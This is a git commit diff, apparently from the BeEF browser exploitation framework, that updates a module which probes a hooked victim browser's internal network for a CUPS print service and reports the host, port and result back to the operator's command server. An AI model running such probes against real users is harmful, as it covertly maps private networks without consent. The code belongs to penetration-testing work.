Report identified service to network extension

This commit is contained in:
Brendan Coles
2015-02-03 19:07:26 +00:00
parent c69b6412e0
commit f329c7331a
2 changed files with 24 additions and 3 deletions

View File

@@ -9,14 +9,14 @@ beef.execute(function() {
var result = "Not Installed";
var dom = document.createElement('b');
var img = new Image;
img.src = "http://127.0.0.1:631/images/cups-icon.png";
img.src = "http://<%= @ipHost %>:<%= @port %>/images/cups-icon.png";
img.onload = function() {
if (this.width == 128 && this.height == 128) result="Installed";
beef.net.send('<%= @command_url %>', <%= @command_id %>,'cups='+result);
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result);
dom.removeChild(this);
}
img.onerror = function() {
beef.net.send('<%= @command_url %>', <%= @command_id %>,'cups='+result);
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result);
dom.removeChild(this);
}
dom.appendChild(img);

View File

@@ -6,8 +6,29 @@
class Detect_cups < BeEF::Core::Command
def self.options
return [
{'name' => 'ipHost', 'ui_label' => 'IP or Hostname', 'value' => '127.0.0.1'},
{'name' => 'port' , 'ui_label' => 'Port', 'value' => '631'}
]
end
def post_execute
save({'CUPS' => @datastore['cups']})
configuration = BeEF::Core::Configuration.instance
if configuration.get("beef.extension.network.enable") == true
if @datastore['results'] =~ /^proto=(https?)&ip=([\d\.]+)&port=([\d]+)&cups=Installed$/
proto = $1
ip = $2
port = $3
session_id = @datastore['beefhook']
cid = @datastore['cid'].to_i
print_debug("Hooked browser found 'CUPS' [proto: #{proto}, ip: #{ip}, port: #{port}]")
r = BeEF::Core::Models::NetworkService.new(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => 'CUPS', :cid => cid)
r.save
end
end
end
end